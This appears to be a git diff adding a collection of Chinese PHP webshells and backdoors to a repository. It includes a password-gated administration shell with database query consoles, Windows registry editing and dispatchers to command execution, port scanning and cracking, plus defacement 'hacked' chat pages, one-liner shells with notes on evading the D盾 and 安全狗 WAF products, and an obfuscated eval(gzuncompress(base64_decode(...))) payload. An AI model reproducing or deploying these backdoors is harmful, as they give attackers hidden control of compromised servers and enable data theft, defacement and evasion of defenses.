                            主机: +端口: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($myaction == 'db2query'){ $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); $db2row=db2_fetch_row($db2result); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. db2_field_name($db2result); echo "\n"; } echo "\n"; while ($db2row=db2_fetch_row($db2result)) { echo "\n"; for ($i=0; $i'; echo "$db2row[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; db2_free_result($db2result); db2_close(); } } elseif($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print<< +
                            主机: +路径: +用户: +密码:
                            + +
                            + + +
                            +END; +if ($fbaction == 'fbquery'){ $fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. ibase_field_info($fbresult, $i); echo "\n"; } echo "\n"; ibase_field_info($fbresult, 0); while ($fbrow=ibase_fetch_row($fbresult)) { echo "\n"; for ($i=0; $i'; echo "$fbrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; ibase_free_result($fbresult); ibase_close(); } } else{ $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print<< +
                            主机: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($pgaction == 'pgquery'){ $pgconn = pg_connect("host=$pghost dbname=$pgdbname user=$pguser password=$pgpass ") or die( '不能连接: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die( '执行失败: '.pg_last_error()); $pgrow=pg_fetch_row($pgresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. pg_field_name($pgresult, $i); echo "\n"; } echo "\n"; pg_result_seek($pgresult, 0); while ($pgrow=pg_fetch_row($pgresult)) { echo "\n"; for ($i=0; $i'; echo "$pgrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; pg_free_result($pgresult); pg_close(); } } } function phpreg(){ $shell1 = new COM("wscript.shell") or die("必须是 windows 主机"); $action = isset($_POST['action']) ? $_POST['action'] : ''; echo '
                            '; echo '
                            读 & 写 &删除 注册表

                            '; echo '
                            '; print<<
                            +
                            +读取路径:  + +

                            +END; +$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : ''; $rpath = str_replace("\\\\", "\\", $rpath); if ($action=="read"){ $out = $shell1->RegRead($rpath); echo '
                            '.var_dump($out).'
                            '; echo '

                            '; } print<<
                            +
                            Wpath: +

                            +写类型:  +写键值:  + +


                            +END; +$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : ''; $wpath = str_replace("\\\\", "\\", $wpath); $wtype = isset($_POST['wtype']) ? $_POST['wtype'] : ''; $wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : ''; if ($action=="write"){ $shell1->RegWrite($wpath, $wvalue, $wtype); } print<<
                            +
                            +删除路径: + +

                            +END; +$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : ''; $dpath = str_replace("\\\\", "\\", $dpath); if ($action=="del"){ $out = $shell1->RegDelete($dpath); } } function Root_Login($MSG_TOP) { global $lanip; print<< + +
                            +
                            +
                            +
                            {$MSG_TOP}
                            +
                            密码:
                            +
                            +
                            @Copyright spider Clean Backdoor加强版 by:筱豪 && L.N.
                            +
                            Your IP : {$lanip}
                            +
                            +
                            +
                            + + +END; +return false; } function WinMain() { $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); $Server_OS = PHP_OS; $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; print<< + PHP SHELL 2010 加强版 by:筱豪 && L.N. + + + + + + + + +END; +return false; } if(get_magic_quotes_gpc()) { $_GET = Root_GP($_GET); $_POST = Root_GP($_POST); } if($_GET['s'] == 'logout') { setcookie('admin_b4che10rpass',NULL); die(''); } if($_COOKIE['admin_b4che10rpass'] != md5($password)) { ob_start(); $MSG_TOP = 'PHP shell加强版 '; if(isset($_POST['b4che10rpass'])) { $cookietime = time() + 24 * 3600; setcookie('admin_b4che10rpass',md5($_POST['b4che10rpass']),$cookietime); if(md5($_POST['b4che10rpass']) == md5($password)){die('');} else{$MSG_TOP = '密码错误';} } Root_Login($MSG_TOP); exit(); ob_end_flush(); } if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} $p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); switch($s) { case "a" : File_a($p); break; case "b" : Guama_b(); break; case "c" : Qingma_c(); break; case "d" : Tihuan_d(); break; case "e" : Antivirus_e(); break; case "f" : Info_f(); break; case "g" : Exec_g(); break; case "h" : Com_h(); break; case "i" : Port_i(); break; case "j" : Shellcode_j(); break; case "k" : Crack_k(); break; case "l" : Linux_l(); break; case "m" : Mysql_m(); break; case "n" : Mysql_n(); break; case "o" : phpreg(); break; case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; case 'x' : phpcode();break; case 'r' : phpsocket();break; case 'w' : otherdb();break; case 'z' : su();break; case 'u' : Findfile_j(); break; case 'v' : ftp_php();break; default: WinMain(); break; } ?>ak; } ?> diff --git "a/php/\347\213\227php\345\244\247\351\251\254+\350\277\207\347\213\227php\344\270\200\345\217\245\350\257\235.php" "b/php/\347\213\227php\345\244\247\351\251\254+\350\277\207\347\213\227php\344\270\200\345\217\245\350\257\235.php" new file mode 100644 index 0000000..d4a0ce1 --- /dev/null +++ "b/php/\347\213\227php\345\244\247\351\251\254+\350\277\207\347\213\227php\344\270\200\345\217\245\350\257\235.php" @@ -0,0 +1,20 @@ + + +--------------------------------------------------- +/*自己看密码 +$salt = "silic1234"; +$psw = trim($_POST['silicpass']); +$password="43b65cee06453f060b117d769825c50e"; +$passt = $salt.$psw; +$passt = md5(md5(md5($passt))); +*/ diff --git "a/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-F4ck\347\276\216\345\214\226\347\211\210.php" "b/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-F4ck\347\276\216\345\214\226\347\211\210.php" new file mode 100644 index 0000000..f44ad2a --- /dev/null +++ "b/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-F4ck\347\276\216\345\214\226\347\211\210.php" @@ -0,0 +1,47 @@ +','?','"','(',')','POST','GET','_','/'),array('',';','<','>','?','"','|','|','P0ST','GET','_','/'),$data); +$ip = preg_replace('/((?:\d+\.){3})\d+/','\\1*',$_SERVER['REMOTE_ADDR']); +$time = date("Y-m-d G:i:s A"); +$text = "
                            ".$data."

                            IP为".$ip."的基友 >>> F4cked At:".$time."

                            "; +$file = fopen(__FILE__,'a'); +fwrite($file,$text); +fclose($file); +echo ""; +} +?> + +F4ckTeam Chating Room + + +
                            +

                            通关留言板

                            +
                            +
                            +恭喜基友成功通关~

                            +
                            +1、强烈欢迎各位基友来玩游戏~

                            +2、游戏通关并留言后,将通关详细过程以doc形式邮件发送到fan#f4ck.net经验证真实后可获得法客论坛邀请码一枚~

                            +3、法客论坛黑客游戏第二版由核心成员[花开、若相惜]开发~

                            +
                            +
                            +

                            +
                            +
                            HackGame V2.0 - Code By 花开、若相惜@F4ckTeam
                            +
                            +
                            diff --git "a/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-\345\216\237\347\211\210.php" "b/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-\345\216\237\347\211\210.php" new file mode 100644 index 0000000..6f3fbe2 --- /dev/null +++ "b/php/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244-\345\216\237\347\211\210.php" @@ -0,0 +1,41 @@ + + + +','?','"','(',')','POST','GET','_','/'),array('',';','<','>','?','"','|','|','P0ST','GET','_','/'),$data); +$data = str_replace(array('[img]','[/img]'),array(''),$data); +$ip = preg_replace('/((?:\d+\.){3})\d+/','\\1*',$_SERVER['REMOTE_ADDR']); +$time = date("Y-m-d G:i:s A"); +$text = "
                            ".$data."

                            IP为".$ip."的童鞋 >>> Fucked at:".$time."

                            "; +$file = fopen(__FILE__,'a'); +fwrite($file,$text); +fclose($file); +echo ""; +} +?> + + +Chinese Hackers' Chating Room + + +
                            +Hacked! Owned by Chinese Hackers!
                            +

                            菊花聊天室

                            +
                            +
                            +

                            插入图片

                            + +

                            Chating Room is Powered By Silic Group Hacker Army©2009-2011

                            + +
                            +
                            diff --git "a/php/\350\275\273\346\235\276\347\273\225\350\277\207\344\273\273\346\204\217Waf\347\232\204\344\270\200\345\217\245\350\257\235.php" "b/php/\350\275\273\346\235\276\347\273\225\350\277\207\344\273\273\346\204\217Waf\347\232\204\344\270\200\345\217\245\350\257\235.php" new file mode 100644 index 0000000..b1a276e --- /dev/null +++ "b/php/\350\275\273\346\235\276\347\273\225\350\277\207\344\273\273\346\204\217Waf\347\232\204\344\270\200\345\217\245\350\257\235.php" @@ -0,0 +1,24 @@ +前几天某朋友分享了给我两个一句话的样本 +但是不知道是谁提交给了D盾,导致被查,不过只要再改改代码还是能轻松绕过D盾的 安全狗那些就更不用说了 + + + + system参数随便修改,分情况来修改 也可以使用eval + + + + 抛砖引玉了,期待更多朋友提供奇淫巧计 + +(再次感谢那位厉害的朋友) diff --git "a/php/\350\277\207\346\234\200\346\226\260\347\211\210\345\256\211\345\205\250\347\213\2274.0\344\270\200\345\217\245\350\257\235\345\245\227\350\243\205.php" "b/php/\350\277\207\346\234\200\346\226\260\347\211\210\345\256\211\345\205\250\347\213\2274.0\344\270\200\345\217\245\350\257\235\345\245\227\350\243\205.php" new file mode 100644 index 0000000..4e998c5 --- /dev/null +++ "b/php/\350\277\207\346\234\200\346\226\260\347\211\210\345\256\211\345\205\250\347\213\2274.0\344\270\200\345\217\245\350\257\235\345\245\227\350\243\205.php" @@ -0,0 +1,63 @@ +前言: + 这些一句话测试时间在半月前,那时安全狗3.5停止更新,4.0刚出来,整个扫描规则都不一样了,改为引擎扫描(目前只见到啸天引擎),且查杀结果已不利于调试,具体大家可以自行测试,感受一下差异。 +以下内容需要积分高于 40 才可浏览 + + + + + + + + + + + + + + + + + + + + + + + +最简单的一种↓ + + + + + +1.基本都是迪科学员写的,一直未公开 +2.相信大家都能看懂,不做解释了 + + 个人觉得无论是对于D盾还是安全狗,突破还是利用php的灵活性,此次主要就是利用各种函数(截取、替换、加解密、其他执行函数、甚至于数组)等等很多方法和思路。 + +希望大家都好,有一个好的心情和前程。 diff --git "a/php/\351\235\231\346\265\201PHP\345\244\247\351\251\254.php" "b/php/\351\235\231\346\265\201PHP\345\244\247\351\251\254.php" new file mode 100644 index 0000000..3838aba --- /dev/null +++ "b/php/\351\235\231\346\265\201PHP\345\244\247\351\251\254.php" @@ -0,0 +1,5 @@ +静流PHP大马
                            "; //设置版权 + eval(gzuncompress(base64_decode("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